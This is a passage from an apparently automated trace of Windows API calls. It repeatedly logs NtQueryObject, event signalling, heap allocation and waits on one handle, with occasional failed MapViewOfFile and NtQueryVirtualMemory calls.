(in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.391] ResetEvent (hEvent=0xdc) returned 1 [0093.391] SetEvent (hEvent=0xe0) returned 1 [0093.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.392] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.392] ResetEvent (hEvent=0xdc) returned 1 [0093.392] SetEvent (hEvent=0xe0) returned 1 [0093.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.393] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.393] ResetEvent (hEvent=0xdc) returned 1 [0093.393] SetEvent (hEvent=0xe0) returned 1 [0093.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.394] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.394] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.394] ResetEvent (hEvent=0xdc) returned 1 [0093.395] SetEvent (hEvent=0xe0) returned 1 [0093.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.395] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.395] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.396] ResetEvent (hEvent=0xdc) returned 1 [0093.396] SetEvent (hEvent=0xe0) returned 1 [0093.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.396] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.397] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.397] ResetEvent (hEvent=0xdc) returned 1 [0093.397] SetEvent (hEvent=0xe0) returned 1 [0093.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.397] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.398] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.398] ResetEvent (hEvent=0xdc) returned 1 [0093.398] SetEvent (hEvent=0xe0) returned 1 [0093.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.399] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.399] ResetEvent (hEvent=0xdc) returned 1 [0093.399] SetEvent (hEvent=0xe0) returned 1 [0093.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.400] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.400] ResetEvent (hEvent=0xdc) returned 1 [0093.400] SetEvent (hEvent=0xe0) returned 1 [0093.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.401] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.401] ResetEvent (hEvent=0xdc) returned 1 [0093.401] SetEvent (hEvent=0xe0) returned 1 [0093.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.402] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.402] ResetEvent (hEvent=0xdc) returned 1 [0093.402] SetEvent (hEvent=0xe0) returned 1 [0093.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.403] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.403] ResetEvent (hEvent=0xdc) returned 1 [0093.403] SetEvent (hEvent=0xe0) returned 1 [0093.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.404] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.404] ResetEvent (hEvent=0xdc) returned 1 [0093.404] SetEvent (hEvent=0xe0) returned 1 [0093.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.405] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.405] ResetEvent (hEvent=0xdc) returned 1 [0093.405] SetEvent (hEvent=0xe0) returned 1 [0093.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.406] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.406] ResetEvent (hEvent=0xdc) returned 1 [0093.406] SetEvent (hEvent=0xe0) returned 1 [0093.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.407] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.407] ResetEvent (hEvent=0xdc) returned 1 [0093.407] SetEvent (hEvent=0xe0) returned 1 [0093.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.408] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.408] ResetEvent (hEvent=0xdc) returned 1 [0093.408] SetEvent (hEvent=0xe0) returned 1 [0093.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.409] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.409] ResetEvent (hEvent=0xdc) returned 1 [0093.409] SetEvent (hEvent=0xe0) returned 1 [0093.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.410] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.410] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.410] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.410] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.410] ResetEvent (hEvent=0xdc) returned 1 [0093.410] SetEvent (hEvent=0xe0) returned 1 [0093.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.411] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.411] ResetEvent (hEvent=0xdc) returned 1 [0093.411] SetEvent (hEvent=0xe0) returned 1 [0093.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.412] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.412] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.412] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.412] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.412] ResetEvent (hEvent=0xdc) returned 1 [0093.412] SetEvent (hEvent=0xe0) returned 1 [0093.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.413] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.414] ResetEvent (hEvent=0xdc) returned 1 [0093.414] SetEvent (hEvent=0xe0) returned 1 [0093.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.414] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.415] ResetEvent (hEvent=0xdc) returned 1 [0093.415] SetEvent (hEvent=0xe0) returned 1 [0093.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.415] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.416] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.416] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.416] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.416] ResetEvent (hEvent=0xdc) returned 1 [0093.416] SetEvent (hEvent=0xe0) returned 1 [0093.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.417] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.417] ResetEvent (hEvent=0xdc) returned 1 [0093.417] SetEvent (hEvent=0xe0) returned 1 [0093.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.418] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.418] ResetEvent (hEvent=0xdc) returned 1 [0093.418] SetEvent (hEvent=0xe0) returned 1 [0093.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.419] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.419] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.419] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.419] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.419] ResetEvent (hEvent=0xdc) returned 1 [0093.419] SetEvent (hEvent=0xe0) returned 1 [0093.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.420] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.420] ResetEvent (hEvent=0xdc) returned 1 [0093.420] SetEvent (hEvent=0xe0) returned 1 [0093.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.421] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.421] ResetEvent (hEvent=0xdc) returned 1 [0093.421] SetEvent (hEvent=0xe0) returned 1 [0093.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.422] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.422] ResetEvent (hEvent=0xdc) returned 1 [0093.422] SetEvent (hEvent=0xe0) returned 1 [0093.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.423] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.423] ResetEvent (hEvent=0xdc) returned 1 [0093.423] SetEvent (hEvent=0xe0) returned 1 [0093.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.424] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.424] ResetEvent (hEvent=0xdc) returned 1 [0093.424] SetEvent (hEvent=0xe0) returned 1 [0093.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.425] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.425] ResetEvent (hEvent=0xdc) returned 1 [0093.425] SetEvent (hEvent=0xe0) returned 1 [0093.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.426] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.426] ResetEvent (hEvent=0xdc) returned 1 [0093.426] SetEvent (hEvent=0xe0) returned 1 [0093.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.427] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.427] ResetEvent (hEvent=0xdc) returned 1 [0093.427] SetEvent (hEvent=0xe0) returned 1 [0093.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.428] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.428] ResetEvent (hEvent=0xdc) returned 1 [0093.428] SetEvent (hEvent=0xe0) returned 1 [0093.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.429] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.429] ResetEvent (hEvent=0xdc) returned 1 [0093.429] SetEvent (hEvent=0xe0) returned 1 [0093.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.430] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.430] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.430] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.430] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.430] ResetEvent (hEvent=0xdc) returned 1 [0093.431] SetEvent (hEvent=0xe0) returned 1 [0093.431] RtlAllocateHeap 